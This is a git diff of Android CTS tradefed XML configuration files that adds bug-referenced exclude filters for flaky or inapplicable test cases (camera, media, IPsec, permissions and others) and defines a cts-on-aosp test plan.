+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetLine1Number" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSimSerialNumber" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSubscriberId" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testSetDataEnabled" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testVoiceMailNumber" />
+
+    <!-- b/111967702: CtsSecurityTestCases irrelevant test cases -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSu" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSuInPath" />
+
+    <!-- b/116170534: CtsMediaTestCases regression (9.0 R4 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.DecoderTest#testH265HDR10StaticMetadata" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCubicMonotonic" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerDuck" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerJoin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRamp" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRunDuringPauseStop" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerStepRamp" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerTwoShapers" />
+
+    <!-- b/157286547 CtsIncidentHostTestCases ErrorsTest failure -->
+    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testNativeCrash" />
+
+    <!-- b/111167329: CtsCameraTestCases failure -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testSurfaceSet"/>
+
+    <!-- b/135588722: CtsUsesLibraryHostTestCases (10_r1 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsUsesLibraryHostTestCases android.classloaders.cts.UsesLibraryHostTest#testMissingLibrary_full"/>
+    <option name="compatibility:exclude-filter" value="CtsUsesLibraryHostTestCases android.classloaders.cts.UsesLibraryHostTest#testUsesLibrary_full"/>
+    <option name="compatibility:exclude-filter" value="CtsCompilationTestCases android.compilation.cts.AdbRootDependentCompilationTest"/>
+
+    <!-- b/145371681: CtsContentSuggestionsTestCases and CtsAppPredictionServiceTestCases (10_r2 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsAppPredictionServiceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContentSuggestionsTestCases" />
+
+    <!-- b/143513519: CtsCameraTestCases (10_r3 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.camera.cts.HeifWriterTest#testHeif"/>
+
+    <!-- b/155107044: CtsNetTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testIkeOverUdpEncapSocket"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testTrafficStatsForLocalhost"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testValidTotalStats"/>
+
+    <!-- b/150807956: Temporarily disabled due to bad experiment channel -->
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithLayerAndComplexClip" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
+
+    <!-- b/159295445, b/159294948: CtsDevicePolicyManagerTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDeviceIdAttestationForProfileOwner" />
+
+    <!-- b/153032202: CtsSystemUiTestCases (10_r3 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.WindowInsetsBehaviorTests#swipeOutsideLimit_systemUiVisible_allEventsCanceled"/>
+
+    <!-- b/173662175: CtsStatsdHostTestCases due to insufficient processes running -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.validation.ProcStatsValidationTests#testProcessStatePssValue"/>
+
+    <!-- b/173560279: CtsAndroidAppTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsAndroidAppTestCases android.app.cts.ApplyOverrideConfigurationTest#testOverriddenConfigurationIsPassedIntoCallback" />
+
+    <!-- b/173560279: CtsWidgetTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.PopupWindowTest#testClipToScreenClipsToInsets" />
+
+    <!-- b/173560279: CtsWindowManagerDeviceTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testAppOrientationRequestConfigChanges" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.KeyguardTests#testNoTransientConfigurationWhenShowWhenLockedRequestsOrientation" />
+
+    <!-- b/173560279: CtsDpiTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsDpiTestCases android.dpi.cts.ConfigurationScreenLayoutTest#testScreenLayout" />
+
+    <!-- b/173560279, b/176457563#comment6: CtsCameraTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.cts.CameraTest#testPreviewCallbackWithPicture" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testColorCorrectionControl" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testFocusDistanceControl" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testAwbModeAndLock" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testDigitalZoomPreviewCombinations" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testFlashControl" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testEffectModes" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.CaptureRequestTest#testFaceDetection" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testTextureImageWriterReaderOperation" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testTextureViewPreviewWithImageReader" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testTextureViewPreview" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testSharedSurfaceSwitch"/>
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testDualTextureViewAndImageReaderPreview" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testDualCameraPreview"/>
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testSharedSurfaces" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testSharedSurfaceBasic" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testSharedSurfaceLimit" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testDualTextureViewPreview" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.MultiViewTest#testSharedSurfaceImageReaderSwitch" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.StillCaptureTest#testFullRawZSLCapture" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.StillCaptureTest#testFullRawCapture" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.StillCaptureTest#testJpegExif" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.StillCaptureTest#testTakePicture" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.StillCaptureTest#testAfRegions" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.RobustnessTest#testVerifyReprocessMandatoryOutputCombinationTables" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testYuvBurst" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceSimplePreview" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceLogicalPhysicalStreaming" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDevicePreviewWithSessionParameters" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceSessionOpenAndClose" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceLogicalPhysicalSettings" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceSharedOutputUpdate" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceSimplePreview" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceLogicalPhysicalStreaming" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDevicePreviewWithSessionParameters" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceSessionOpenAndClose" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceLogicalPhysicalSettings" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeCameraDeviceTest#testCameraDeviceSharedOutputUpdate" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeStillCaptureTest#testStillCapture" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.NativeStillCaptureTest#testStillCapture" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-aosp.xml b/tools/cts-tradefed/res/config/cts-on-aosp.xml
new file mode 100644
index 0000000..bb96bc4
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-aosp.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for aosp_$arch">
+    <!-- Enforce collecting vendor build information -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.VtsDeviceInfoCollector" />
+
+    <!-- Common CTS config -->
+    <include name="cts" />
+
+    <!-- CTS-on-AOSP is not expected to run parameterized modules -->
+    <option name="compatibility:enable-parameterized-modules" value="false" />
+    <option name="compatibility:primary-abi-only" value="true" />
+
+    <include name="cts-on-aosp-exclude" />
+    <!-- Overwrite the "cts" plan configured in cts.xml -->
+    <option name="plan" value="cts-on-aosp" />
+
+    <!-- For CTS-on-GSI, override the suite name to VTS for the R release only -->
+    <option name="cts-on-gsi-variant" value="true" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-cf.xml b/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
index 787ab93..3d5ecaa 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
@@ -20,6 +20,45 @@
 
     <!-- Troublesome tests that often crash the system -->
     <option name="compatibility:exclude-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.IntentTest#packageNotInstalledSecureFrp" />
-    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionReviewTest#testReviewPermissionWhenServiceIsBound" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionReviewTest" />
+
+    <!-- CTS modules that fail to run to complete on Android S CSI/CF -->
+    <option name="compatibility:exclude-filter" value="CtsAppEnumerationTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsDeqpTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsFragmentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsIcu4cTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsIdentityTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaBitstreamsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaV2TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsNativeHardwareTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsOpenGLTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPreferenceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsResourcesLoaderTests" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSkQPTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSyncManagerTestsCases" />
+    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCasesPermissionReadPhoneState" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index e369dfa..930bc4d 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2021 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,246 +13,44 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Excluded tests from cts-on-gsi">
-    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+<configuration description="Excluded tests depending on APKs not in gsi_$arch">
 
-    <!-- Tell all HostTests to exclude certain annotations -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <!-- No Calendar -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testCalendarAddAppointment" />
 
-    <!-- Radio system of a general system image is not checked -->
-    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+    <!-- No Contacts -->
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases android.provider.cts.contacts.ContactsContractIntentsTest#testPickContactDir" />
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases android.provider.cts.contacts.ContactsContractIntentsTest#testViewContactDir" />
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases android.provider.cts.contacts.ContactsContract_ContactsTest#testContentUri" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testContactsCallLogs" />
 
-    <!-- Exclude telephony related testcases -->
-    <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
-    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
+    <!-- No DeskClock -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockDismissAlarm" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockSetAlarm" />
